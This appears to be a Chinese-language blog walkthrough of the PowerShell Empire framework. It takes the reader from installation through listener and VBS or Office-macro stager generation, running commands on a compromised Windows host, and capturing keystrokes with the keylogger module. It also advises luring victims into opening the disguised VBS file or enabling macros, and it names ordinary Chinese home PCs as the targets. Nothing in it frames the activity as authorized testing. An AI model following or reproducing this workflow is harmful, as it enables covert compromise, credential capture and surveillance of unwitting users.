Empire是针对windows平台的一套渗透工具,包括了从stager生成、提权到渗透维持的一系列功能。笔者早先在试用Empire的过程中发现其不适用于UTF-8编码,所以在执行命令时包含中文就会卡死。近期Empire的作者解决了以上bug,所以让我们愉快地使用Empire探索一番。

对于Empire的全部功能可以参考官方网站:http://www.powershellempire.com/

一、安装

虽然渗透的目标是windows,但Empire本身应该是运行在linux平台的,首先把程序目录下载下来:

git clone https://github.com/EmpireProject/Empire.git

转进”Empire/setup”目录,安装./install.sh。

sudo ./install.sh

Empire的安装和运行都需要管理员权限,所以不要忘记加上sudo。

如果安装不成功,可能的原因是python环境配置不完整,笔者使用debian系统,重装python、pip、python3和pip3搞定。

二、生成Listener

在主目录下运行empire可以进入界面:

sudo ./empire

风格十分简单:

Empire中help命令几乎可以得到一切信息:

输入

listeners

进入监听线程界面,使用

info

查看如何操作:

注意到主要应该修改Name和Host,命令为:

set Name XXX
set Host XXX.XXX.XXX.XXX:XXXX

之后运行

run

即可生成线程。

三、生成stager

接下来生成在目标机器上运行的stager。

Empire提供了多种选项:

个人认为一般情况下launcher_vbs和macro是使用比较多的,前者会生成可以直接运行的vbs代码,后者可以粘贴进office文档中。实战中可以通过伪装诱导渗透对象打开vbs文件,或者在excel/doc中加入有效信息(如特殊的表格或者数学公式)诱导用户点击“运行宏”。

以launcher_vbs的使用为例,其选项包括:

可见主要需要修改的是Listener,通过

set Listener XXX(刚才生成的Listener的名字)

设置好,运行

execute

生成。默认生成在/tmp/文件夹下。

在个人电脑上使用scp下载launcher_vbs:

scp root@XXX.XXX.XXX.XXX:/tmp/launcher_vbs C:/launcher_vbs

此后这个文件可以保存在u盘里随时使用了。

四、探索渗透目标

如果目标在电脑中双击了launcher_vbs,服务器端会有反馈提示:

help命令看一眼能够做什么:

事实上,此时已经可以使用cmd中的命令了:

五、键盘记录

我们通过keylogger试验一下如何使用Empire的module。

usemodule collection/keylogger

似乎也不用设置什么特别的,所以就直接run了:

不是每次按键都能记录清楚,且不能直接记录中文,但大概的意思还是很到位的。

六、小结

汉字处理的bug修复之后,感觉Empire已经成为了针对中国windows个人电脑的强力渗透工具。之后有待进一步研究的是渗透维持,虽然empire中已经集成了相应module,但是个人电脑相比于服务器,环境设置多变且没有固定ip,感觉还是有很多值得研究的地方。